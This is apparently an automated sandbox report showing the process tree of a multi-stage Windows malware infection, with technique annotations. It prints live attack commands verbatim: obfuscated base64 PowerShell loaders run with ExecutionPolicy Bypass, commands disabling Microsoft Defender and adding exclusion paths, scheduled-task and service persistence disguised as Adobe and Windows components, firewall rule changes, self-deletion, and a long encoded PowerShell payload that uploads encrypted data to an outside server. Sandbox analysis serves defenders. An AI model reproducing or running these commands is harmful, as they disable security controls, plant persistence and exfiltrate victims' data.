CcoICRWTG1QZS☇☇☇pLicgOyRZV0ZJYi☇☇☇rPS☇☇☇nR2V0VHlwZSggJydGanJELkx6S1dtJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydXbUpaWicnICkuJy☇☇☇rICRrVHhVWC☇☇☇rICcoICR5R3BJVy☇☇☇sIFtvYmplY3RbXV0gKC☇☇☇oICRuRHhXcS☇☇☇pICwgJyclTEp3dmslJycgLC☇☇☇nJycnLC☇☇☇nJz☇☇☇zJycsICcnMScnLC☇☇☇nJ2NhY2EnJy☇☇☇gKS☇☇☇pIDsnIDskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLj☇☇☇7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNi☇☇☇oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMj☇☇☇uMC4wLj☇☇☇gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLj☇☇☇uMC4wJyk7JE1NZW1VID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aC☇☇☇kTU1lbVUgIC1mb3JjZS☇☇☇7cG93ZXJzaGVsbC☇☇☇tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☇☇☇tRmlsZS☇☇☇kTU1lbVUgOw==';;$eFejG = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($NYjjV -replace '☇☇☇','A') ) );$eFejG = ($eFejG -replace '%LJwvk%', , 'C:\Users\Admin\AppData\Local\Temp\a\System.vbs');$lNTXB = ( 'C:\ProgramData\' + 'NgOVP.ps1') ;$eFejG | Out-File -FilePath $lNTXB -force ;;powershell -ExecutionPolicy Bypass -File $lNTXB;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\NgOVP.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Lwoqo.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\System.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\11.exe11.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\11.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\587.exe587.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exea.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\a.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EagleWingsDNA04.exeEagleWingsDNA04.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exewin.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\win.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ZoomInstaller.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\finale.exefinale.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Wa0fca4bd"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Wa0fca4bd\core.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Wa0fca4bd"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exefile_a6357da6a05d7266.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MDClient.exeMDClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\ab167d1ae697d152\ScreenConnect.ClientSetup.msi"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exekikikmoralibrary.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mrf5g1lk\mrf5g1lk.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES29C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC25134E9A159E4E2DB43391C94CB3FD.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3lafhixs\3lafhixs.cmdline"4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit4⤵
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit4⤵
-
C:\Windows\system32\sc.exesc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit4⤵
-
C:\Windows\system32\sc.exesc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc start "System Diagnostics Host" & exit4⤵
-
C:\Windows\system32\sc.exesc start "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\1cfa352f-e6be-41ef-be64-ab370200294d\background.exe"C:\Users\Admin\AppData\Local\1cfa352f-e6be-41ef-be64-ab370200294d\background.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
C:\Users\Admin\AppData\Local\42143461-3f40-490e-88a8-41b143d04c10\background.exe"C:\Users\Admin\AppData\Local\42143461-3f40-490e-88a8-41b143d04c10\background.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaA